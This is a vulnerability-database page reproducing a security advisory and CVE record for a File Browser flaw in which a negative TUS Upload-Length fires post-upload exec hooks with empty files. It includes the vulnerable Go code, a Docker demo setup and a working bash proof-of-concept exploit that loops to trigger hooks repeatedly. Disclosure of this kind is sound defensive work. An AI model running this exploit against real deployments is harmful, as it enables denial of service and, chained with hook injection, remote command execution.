Vulnerability-Lookup

GHSA-FFX7-75GC-JG7C

Vulnerability from github – Published: 2026-03-16 20:43 – Updated: 2026-03-30 13:59

Summary

File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely

Details

Summary

The TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. -1), the first PATCH request immediately satisfies the completion condition (newOffset >= uploadLength → 0 >= -1), causing the server to fire after_upload exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured after_upload hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.

Details

Affected file: http/tus_handlers.go

Vulnerable code - POST (register upload):

func getUploadLength(r *http.Request) (int64, error) {
    uploadOffset, err := strconv.ParseInt(r.Header.Get("Upload-Length"), 10, 64)
    // ← int64: accepts -1, -9223372036854775808, etc.
    if err != nil {
        return 0, fmt.Errorf("invalid upload length: %w", err)
    }
    return uploadOffset, nil
}

// In tusPostHandler:
uploadLength, err := getUploadLength(r)   // uploadLength = -1 (attacker-supplied)
cache.Register(file.RealPath(), uploadLength)  // stores -1 as expected size

Vulnerable code - PATCH (write chunk):

// In tusPatchHandler:
newOffset := uploadOffset + bytesWritten  // 0 + 0 = 0 (empty body)
if newOffset >= uploadLength {            // 0 >= -1 → TRUE immediately!
    cache.Complete(file.RealPath())
    _ = d.RunHook(func() error { return nil }, "upload", r.URL.Path, "", d.user)
    // ← after_upload hook fires with empty or partial file
}

The completion check uses signed comparison. Any negative uploadLength is always less than newOffset (which starts at 0), so the hook fires on the very first PATCH regardless of how many bytes were sent.

Consequence: An attacker with upload permission can: 1. Initiate a TUS upload for any filename with Upload-Length: -1 2. Send a PATCH with an empty body (Upload-Offset: 0) 3. after_upload hook fires immediately with a 0-byte (or partial) file 4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook

If exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.

Demo Server Setup

docker run -d --name fb-tus \
  -p 8080:80 \
  -v /tmp/fb-tus:/srv \
  -e FB_EXECER=true \
  filebrowser/filebrowser:v2.31.2

ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin"}')

# Configure a visible after_upload hook
curl -s -X PUT http://localhost:8080/api/settings \
  -H "X-Auth: $ADMIN_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "commands": {
      "after_upload": ["bash -c \"echo HOOK_FIRED: $FILE $(date) >> /tmp/hook_log.txt\""]
    }
  }'

PoC Exploit

#!/bin/bash
# poc_tus_negative_length.sh

TARGET="http://localhost:8080"

# Login as any user with upload permission
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[*] Token: ${TOKEN:0:40}..."

FILENAME="/trigger_test_$(date +%s).txt"

echo "[*] Step 1: POST TUS upload with Upload-Length: -1"
curl -s -X POST "$TARGET/api/tus$FILENAME" \
  -H "X-Auth: $TOKEN" \
  -H "Upload-Length: -1" \
  -H "Content-Length: 0" \
  -v 2>&1 | grep -E "HTTP|Location"

echo ""
echo "[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)"
curl -s -X PATCH "$TARGET/api/tus$FILENAME" \
  -H "X-Auth: $TOKEN" \
  -H "Upload-Offset: 0" \
  -H "Content-Type: application/offset+octet-stream" \
  -H "Content-Length: 0" \
  -v 2>&1 | grep -E "HTTP|Upload"

echo ""
echo "[*] Checking hook log on server (/tmp/hook_log.txt)..."
echo "[*] If hook fired, you will see entries like:"
echo "    HOOK_FIRED: /srv/trigger_test_XXXX.txt <timestamp>"

echo ""
echo "[*] Repeating 5 times to demonstrate unlimited hook triggering..."
for i in $(seq 1 5); do
  FNAME="/spam_hook_$i.txt"
  curl -s -X POST "$TARGET/api/tus$FNAME" \
    -H "X-Auth: $TOKEN" \
    -H "Upload-Length: -1" \
    -H "Content-Length: 0" > /dev/null

  curl -s -X PATCH "$TARGET/api/tus$FNAME" \
    -H "X-Auth: $TOKEN" \
    -H "Upload-Offset: 0" \
    -H "Content-Type: application/offset+octet-stream" \
    -H "Content-Length: 0" > /dev/null

  echo "  Hook trigger $i sent"
done
echo "[*] Done - 5 hooks fired with 0 bytes uploaded."

Impact

Exec Hook Abuse (when enableExec = true): An attacker can trigger any after_upload exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:

Denial of Service: Triggering expensive processing hooks (virus scanning, transcoding, ML inference) with zero cost on the attacker's side.
Command Injection amplification: Combined with the hook injection vulnerability (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.
Business logic abuse: Triggering upload-driven workflows (S3 ingestion, database inserts, notifications) with empty payloads or arbitrary filenames.

Hook-free impact: Even without exec hooks, a negative Upload-Length creates an inconsistent cache entry. The file is marked "complete" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.

Who is affected: All deployments using the TUS upload endpoint (/api/tus). The enableExec flag amplifies the impact from cache inconsistency to remote command execution.

Resolution

This vulnerability has not been addressed, and has been added to the issue tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is disabled by default for all installations and users are warned if they enable it. This feature is not to be used in untrusted environments and we recommend to not use it.

Severity ?

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.61.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32759"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T20:43:29Z",
    "nvd_published_at": "2026-03-20T00:16:17Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe TUS resumable upload handler parses the `Upload-Length` header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. `-1`), the first PATCH request immediately satisfies the completion condition (`newOffset \u003e= uploadLength` \u2192 `0 \u003e= -1`), causing the server to fire `after_upload` exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured `after_upload` hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.\n\n## Details\n\n**Affected file:** `http/tus_handlers.go`\n\n**Vulnerable code - POST (register upload):**\n```go\nfunc getUploadLength(r *http.Request) (int64, error) {\n    uploadOffset, err := strconv.ParseInt(r.Header.Get(\"Upload-Length\"), 10, 64)\n    // \u2190 int64: accepts -1, -9223372036854775808, etc.\n    if err != nil {\n        return 0, fmt.Errorf(\"invalid upload length: %w\", err)\n    }\n    return uploadOffset, nil\n}\n\n// In tusPostHandler:\nuploadLength, err := getUploadLength(r)   // uploadLength = -1 (attacker-supplied)\ncache.Register(file.RealPath(), uploadLength)  // stores -1 as expected size\n```\n\n**Vulnerable code - PATCH (write chunk):**\n```go\n// In tusPatchHandler:\nnewOffset := uploadOffset + bytesWritten  // 0 + 0 = 0 (empty body)\nif newOffset \u003e= uploadLength {            // 0 \u003e= -1 \u2192 TRUE immediately!\n    cache.Complete(file.RealPath())\n    _ = d.RunHook(func() error { return nil }, \"upload\", r.URL.Path, \"\", d.user)\n    // \u2190 after_upload hook fires with empty or partial file\n}\n```\n\n**The completion check uses signed comparison.** Any negative `uploadLength` is always less than `newOffset` (which starts at 0), so the hook fires on the very first PATCH regardless of how many bytes were sent.\n\n**Consequence:** An attacker with upload permission can:\n1. Initiate a TUS upload for any filename with `Upload-Length: -1`\n2. Send a PATCH with an empty body (`Upload-Offset: 0`)\n3. `after_upload` hook fires immediately with a 0-byte (or partial) file\n4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook\n\nIf exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.\n\n## Demo Server Setup\n\n```bash\ndocker run -d --name fb-tus \\\n  -p 8080:80 \\\n  -v /tmp/fb-tus:/srv \\\n  -e FB_EXECER=true \\\n  filebrowser/filebrowser:v2.31.2\n\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"admin\",\"password\":\"admin\"}\u0027)\n\n# Configure a visible after_upload hook\ncurl -s -X PUT http://localhost:8080/api/settings \\\n  -H \"X-Auth: $ADMIN_TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"commands\": {\n      \"after_upload\": [\"bash -c \\\"echo HOOK_FIRED: $FILE $(date) \u003e\u003e /tmp/hook_log.txt\\\"\"]\n    }\n  }\u0027\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\n# poc_tus_negative_length.sh\n\nTARGET=\"http://localhost:8080\"\n\n# Login as any user with upload permission\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}\u0027)\n\necho \"[*] Token: ${TOKEN:0:40}...\"\n\nFILENAME=\"/trigger_test_$(date +%s).txt\"\n\necho \"[*] Step 1: POST TUS upload with Upload-Length: -1\"\ncurl -s -X POST \"$TARGET/api/tus$FILENAME\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Length: -1\" \\\n  -H \"Content-Length: 0\" \\\n  -v 2\u003e\u00261 | grep -E \"HTTP|Location\"\n\necho \"\"\necho \"[*] Step 2: PATCH with empty body (uploadOffset=0 \u003e= uploadLength=-1 \u2192 hook fires)\"\ncurl -s -X PATCH \"$TARGET/api/tus$FILENAME\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Offset: 0\" \\\n  -H \"Content-Type: application/offset+octet-stream\" \\\n  -H \"Content-Length: 0\" \\\n  -v 2\u003e\u00261 | grep -E \"HTTP|Upload\"\n\necho \"\"\necho \"[*] Checking hook log on server (/tmp/hook_log.txt)...\"\necho \"[*] If hook fired, you will see entries like:\"\necho \"    HOOK_FIRED: /srv/trigger_test_XXXX.txt \u003ctimestamp\u003e\"\n\necho \"\"\necho \"[*] Repeating 5 times to demonstrate unlimited hook triggering...\"\nfor i in $(seq 1 5); do\n  FNAME=\"/spam_hook_$i.txt\"\n  curl -s -X POST \"$TARGET/api/tus$FNAME\" \\\n    -H \"X-Auth: $TOKEN\" \\\n    -H \"Upload-Length: -1\" \\\n    -H \"Content-Length: 0\" \u003e /dev/null\n  \n  curl -s -X PATCH \"$TARGET/api/tus$FNAME\" \\\n    -H \"X-Auth: $TOKEN\" \\\n    -H \"Upload-Offset: 0\" \\\n    -H \"Content-Type: application/offset+octet-stream\" \\\n    -H \"Content-Length: 0\" \u003e /dev/null\n  \n  echo \"  Hook trigger $i sent\"\ndone\necho \"[*] Done - 5 hooks fired with 0 bytes uploaded.\"\n```\n\n## Impact\n\n**Exec Hook Abuse (when `enableExec = true`):** An attacker can trigger any `after_upload` exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook\u0027s purpose, this enables:\n\n- **Denial of Service:** Triggering expensive processing hooks (virus scanning, transcoding,\n  ML inference) with zero cost on the attacker\u0027s side.\n- **Command Injection amplification:** Combined with the hook injection vulnerability\n  (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.\n- **Business logic abuse:** Triggering upload-driven workflows (S3 ingestion, database inserts,\n  notifications) with empty payloads or arbitrary filenames.\n\n**Hook-free impact:** Even without exec hooks, a negative `Upload-Length` creates an inconsistent cache entry. The file is marked \"complete\" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.\n\n**Who is affected:** All deployments using the TUS upload endpoint (`/api/tus`). The `enableExec` flag amplifies the impact from cache inconsistency to remote command execution.\n\n## Resolution\n\nThis vulnerability has not been addressed, and has been added to the issue tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is **disabled by default for all installations** and users are warned if they enable it. This feature is **not to be used in untrusted environments** and we recommend to **not use it**.",
  "id": "GHSA-ffx7-75gc-jg7c",
  "modified": "2026-03-30T13:59:48Z",
  "published": "2026-03-16T20:43:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-ffx7-75gc-jg7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32759"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/issues/5199"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely"
}

CVE-2026-32759 (GCVE-0-2026-32759)

Vulnerability from cvelistv5 – Published: 2026-03-19 23:31 – Updated: 2026-03-20 16:48

Title

File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely

Summary

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. In versions 2.61.2 and below, the TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative, allowing an authenticated user to supply a negative value that instantly satisfies the upload completion condition upon the first PATCH request. This causes the server to fire after_upload exec hooks with empty or partial files, enabling an attacker to repeatedly trigger any configured hook with arbitrary filenames and zero bytes written. The impact ranges from DoS through expensive processing hooks, to command injection amplification when combined with malicious filenames, to abuse of upload-driven workflows like S3 ingestion or database inserts. Even without exec hooks enabled, the negative Upload-Length creates inconsistent cache entries where files are marked complete but contain no data. All deployments using the TUS upload endpoint (/api/tus) are affected, with the enableExec flag escalating the impact from cache inconsistency to remote command execution. At the time of publication, no patch or mitigation was available to address this issue.

Severity ?

5.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L

CWE

CWE-190 - Integer Overflow or Wraparound

Assigner

GitHub_M

References

URL

Tags

	https://github.com/filebrowser/filebrowser/securi…	x_refsource_CONFIRM
	https://github.com/filebrowser/filebrowser/issues/5199	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	filebrowser	filebrowser	Affected: <= 2.61.2

Show details on NVD website

JSON

To clipboard

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        "metrics": [
          {
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                "id": "CVE-2026-32759",
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                "role": "CISA Coordinator",
                "timestamp": "2026-03-20T16:47:43.694106Z",
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        }
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      "title": "File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely"
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Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-FFX7-75GC-JG7C

Summary

Details

Demo Server Setup

PoC Exploit

Impact

Resolution

CVE-2026-32759 (GCVE-0-2026-32759)

Tags

Sightings

Nomenclature